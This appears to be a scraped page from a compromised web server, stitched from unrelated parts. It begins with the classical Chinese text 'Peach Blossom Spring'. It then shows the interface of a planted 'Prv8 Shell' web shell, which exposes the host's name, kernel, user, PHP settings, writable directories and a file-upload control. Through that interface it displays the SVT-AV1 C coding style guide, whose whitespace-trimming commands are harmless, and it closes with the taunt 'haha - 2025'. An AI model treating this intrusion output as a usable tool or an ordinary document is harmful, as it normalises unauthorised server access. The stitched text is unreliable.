晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/svt-av1-libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/svt-av1-libs/STYLE.md
# Code Style

This style guide comes from [`dav1d`](https://code.videolan.org/videolan/dav1d/wikis/Coding-style)

Tabs vs Spaces\
**No tabs,** only spaces; 4-space indentation

Be aware that some tools might add tabs when auto aligning the code, please check your commits with a diff tool for tabs.

For multi-line statements, the indentation of the next line depends on the context of the statement and braces around it.\
For example, if you have a long assignment, you can choose to either align it to the = of the first line, or (if that leads to less lines of code) just indent 1 level further from the first line's indentation level:

``` c
const int my_var = something1 &&
                   something2;
```

or

``` c
const int my_var = something1 +
    something2 - something3 * something4;
```

However, if there are braces, the first non-whitespace character of the line should be aligned with the brace level that it is part of:

``` c
const int my_var = (something1 +
                    something2) * something3;
```

Use `CamelCase` for types and `under_score` for variable names (`TypeName my_instance;`)\
Use const where possible, except in forward function declarations in header files, where we only use it for const-arrays:

``` c
int my_func(const array *values, int arg);

[..]

int my_func(const array *const values, const int num) {
    [..]
}
```

Braces go on the same line for single-line statements, but on a new line for multi-line statements:

``` c
static void function(const int argument) {
    do_something();
}
```

versus

``` c
static void function(const int argument1,
                     const int argument2)
{
    do_something();
}
```

Braces are only necessary for multi-line code blocks or multi-line condition statements;

``` c
if (condition1 && condition2)
    do_something();
```

and

``` c
if (condition) {
    do_something_1();
    do_something_2();
}
```

and

``` c
if (condition1 &&
    condition2)
{
    do_something();
}
```

Switch/case are indented at the same level, and the code block is indented one level deeper:

``` c
switch (a) {
case 1:
    bla();
    break;
}
```

but for very trivial blocks, you can also put everything on one single line:

``` c
switch (a) {
case 1: bla(); break;
}
```

Lines should idealy not be longer than 80 characters. We allow exceptions if wrapping the line would lead to exceptional ugliness, and this is done on a case-by-case basis.\
Don't use `goto` except for standard error handling.\
Use native types (`int`, `unsigned`, etc.) for scalar variables where the upper bound of a size doesn't matter.\
Use sized types (`uint8_t`, `int16_t`, etc.) for vector/array variables where the upper bound of the size matters.\
Use dynamic types (`pixel`, `coef`, etc.) so multi-bitdepth templating works as it should.

## Doxygen Documentation

``` c
/* File level Description */

/*********************************************************************************
* @file
*  file.c
*
* @brief
*  Brief description about file
*
* @author
*  Author
*
* @par List of Functions:
* - fun1()
* - fun2()
*
* @remarks
*  Any remarks
*
********************************************************************************/

/* Macro Description */
/** Brief description of MACRO */
#define MACRO   val

/* enum Description : description for all entries */
/** Brief description of ENUMs */
enum {
    ENUM1         = 1, /**< Brief description of ENUM1 */
    ENUM2         = 2, /**< Brief description of ENUM2 */
    ENUM3         = 3  /**< Brief description of ENUM3 */
}

/* enum Description : top level description */
/** Brief description of ENUMs */
enum {
    ENUM1         = 1,
    ENUM2         = 2,
    ENUM3         = 3
}

/* structure level Description */

struct {
    member1, /**< Brief description of member1 */
    member2, /**< Brief description of member2 */
    member3, /**< Brief description of member3 */
}

/* Function level Description */

/*********************************************************************************
*
* @brief
*  Brief description of function
*
* @par Description:
*  Detailed description of function
*
* @param[in] prm1
*  Brief description of prm1
*
* @param[in] prm2
*  Brief description of prm2
*
* @param[out] prm3
*  Brief description of prm3
*
* @returns  Brief description of return value
*
* @remarks
*  Any remarks
*
********************************************************************************/
```

## Post-coding

After coding, make sure to trim any trailing white space and convert any tabs to 4 spaces

### For bash

``` bash
find . -name <Filename> -type f -exec sed -i 's/\t/    /;s/[[:space:]]*$//' {} +
```

Where `<Filename>` is `"*.c"` or `"*.(your file extention here)"`\
Search the `find` man page or tips and tricks for more options.\
**Do not** use find on root without a filter or with the `.git` folder still present. Doing so will corrupt your repo folder and you will need to copy a new `.git` folder and re-setup your folder.

Alternatively, for single file(s):

``` bash
sed -i 's/\t/    /;s/[[:space:]]*$//' <Filename/Filepath>
```

Note: For macOS and BSD related distros, you may need to use `sed -i ''` inplace due to differences with GNU sed.

### For Powershell/pwsh

``` Powershell
ls -Recurse -File -Filter *.c | ForEach-Object{$(Get-Content $_.FullName | Foreach {Write-Output "$($_.TrimEnd().Replace("`t","    "))`n"}) | Set-Content -NoNewline -Encoding utf8 $_.FullName}
```

Where `-Filter *.c` has your extention/filename(s).\
This does not work with `pwsh` on non-windows OS.\
Search the docs for [`pwsh`](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-6) related commands and [`powershell`](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-5.1) related commands for more information on what they do.\
**Do not** use ls without a `-Filter` on the root directory or with the `.git` folder still present. Doing so will corrupt your repo folder and you will need to copy a new `.git` folder and re-setup your folder.

Alternatively, for a single file:

``` Powershell
$filename="<filename>"; Get-content $filename | Foreach {Write-Output "$($_.TrimEnd().Replace("`t","    "))`n"}) | Set-Content -NoNewline $filename
```

Where `<filename>` is the specific file you want to trim.

haha - 2025